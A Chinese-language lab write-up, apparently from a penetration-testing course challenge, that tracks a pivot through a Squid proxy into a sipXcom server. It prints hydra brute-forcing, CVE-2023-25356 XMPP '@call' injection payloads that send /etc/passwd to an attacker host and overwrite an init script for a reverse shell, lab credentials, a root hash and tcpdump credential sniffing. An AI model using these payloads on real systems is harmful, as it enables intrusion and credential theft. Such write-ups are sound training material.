Challenge 3 - SkyLark(9)

 Challenge 3 - SkyLark(9)

下一台選定從外網的 .224 機器進入另一個 private 網段的 .32




rustscan



snmp check



nmap

22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

3128/tcp open  squid-http?
8000/tcp open  http-alt    Apache/2.4.41 (Ubuntu)



hydra 22 Port 爆破現有已知的帳號密碼,└─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.224.224 -V

結果沒有任何發現



3128 是個 SQUID 4.10



8000 / 有個檔案 debug.txt



debug.txt 檔案內容是 interface 的資訊,發現了 LAB 中 172.16.224.x/24 網段

看來要進入 172.16.224.x/24 的機器就是透過這一台機器了



回到 3128 SQUID 的服務,參考這一篇 

https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid



以及參考這個 : https://github.com/aancw/spose




先將 kali 的 Proxy 指向到 .224 的 3128 Port

└─$ sudo vi /etc/proxychains4.conf

原有的 socks 127.0.0.1 1080 先 mark 起來



掃掃看 .224,└─$ python3 spose.py --proxy http://192.168.224.224:3128 --target 192.168.224.224

結果甚麼都沒有



掃掃看 172.16.224.30/31/32 一樣沒有東西




打開瀏覽器看一下,發現會跳出帳號密碼



使用之前 Keepass 枚舉到的帳號密碼 ext_acc:DoNotShare!SkyLarkLegacyInternal2008

再測試 172.16.224.30/31/32 結果在 32 會轉 https://172.16.224.32/sipxconfig/app

並開啟 sipXcom CMS



測試了一些帳號密碼發現都是 bad vredential



後來使用了這三組可以成功登入,但會顯示如下畫面

l.nguyen:ChangeMePlease__XMPPTest

j.jones:ChangeMePlease__XMPPTest

j.jameson:ChangeMePlease__XMPPTest




將機器 Reset 後就正常了,再次登入顯示如下





密碼透漏了部分提示告知我們是 XMPP

參考這一篇 : https://cqr.company/wiki/protocols/extensible-messaging-and-presence-protocol-xmpp/



感覺可以使用 pidgin 來執行溝通看看

sudo apt-get update

sudo apt-get -y install pidgin

執行看看



設定了發現連不上





移除後再安裝一次
killall pidgin
rm -rf ~/.purple
sudo apt remove --purge pidgin
sudo apt update
sudo apt install pidgin


將相關設定修改如下可以連上了






跳出要你接受憑證的視窗



新增 Buddy


輸入登入連線使用以外的隨便兩個帳號之一





連上後參考這個 Exploit (CVE-2023-25356) : https://packetstormsecurity.com/files/171281/CoreDial-sipXcom-sipXopenfire-21.04-Remote-Command-Execution-Weak-Permissions.html

主要這一段 POC "@call abc -o/tmp/test123 -d @/etc/passwd http://192.168.45.164/abc"



依樣畫葫蘆測試看看 "@call abc -o /tmp/test123 -d @/etc/passwd http://192.168.45.164/abc"

/etc/passwd 真的送進來了




後面一段寫你可以讓他透過 HTTP 的方式抓檔案然後寫到機器上


下面還給你範例告訴你去寫這個檔案 /etc/init.d/openfire,以及建立 Reverse Shell 的指令



那就在 Kali 直接編寫 openfire.txt 檔案,內容就用它提供範例內容直接改即可

使用依樣的指令讓他來抓




寫檔案 openfire.txt



POC 指令 @call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.45.164/lab3/32/openfire.txt -o /tmp/dummy



這一段有提到要重新啟動服務才會執行該檔案




目前不知道如何重新啟動服務,文章內容有寫這裡有 Log

/opt/openfire/logs/sipxopenfire-im.log



使用剛剛有成功將 /etc/passwd 內容列出的手法來看看 log 裡面有沒有甚麼東西

指令 @call abc -o /tmp/test123 -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.45.164/abc



中間有一段有看到將 sipXcom 預設的帳號 superadmin 的密碼設定為 2008_EndlessConversation



用這組帳號密碼 superadmin:2008_EndlessConversation 登入網頁試試看



成功登入了



在 SYSTEM --> Server 底下的 pbx.syklark.com 再點進去




Services 中找到了 "IM - XMPP (openfire)" 這個服務,將它打勾然後按下 Restart




拿到 172.16.xxx.32 機器的 Reverse Shell 了

電腦名稱是 pbx.skylark.com,進來就是 root 了



這一台只有 proof.txt



發現另外建一個 4445 session 也會通,看來會透過 SQUID 那一台直接做路由出來



cat /etc/passwd (之前用 IM 就讀得到了)



在 /root 路徑下發現一個檔案 anaconda-ks.cfg



裏頭看來紀錄了 root 的加密密碼 HASH

$6$0tSVLTBWrr/IyG5P$uY/XVirJZGqqHleJIiWp7v.B9PMQkCVdkBESyeaCo4KoeM4IcuDzlF4z2Rx.vt41jeTuymRyBstXwVOcXWtJb1



直接 john 破解看看,但跑了一天沒有結果


另外有看到 172.16.xxx.30 會送 syslog 過來這一台 .32



改一下參數 show 出詳細的內容 [root@pbx usr]# sudo tcpdump udp -i ens192 -nn -X host 172.16.216.30

發現 RDP 協定使用的帳號密碼 root:.desktop:Deskt0pTermin4L




更新帳號密碼表



更新攻擊列表





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)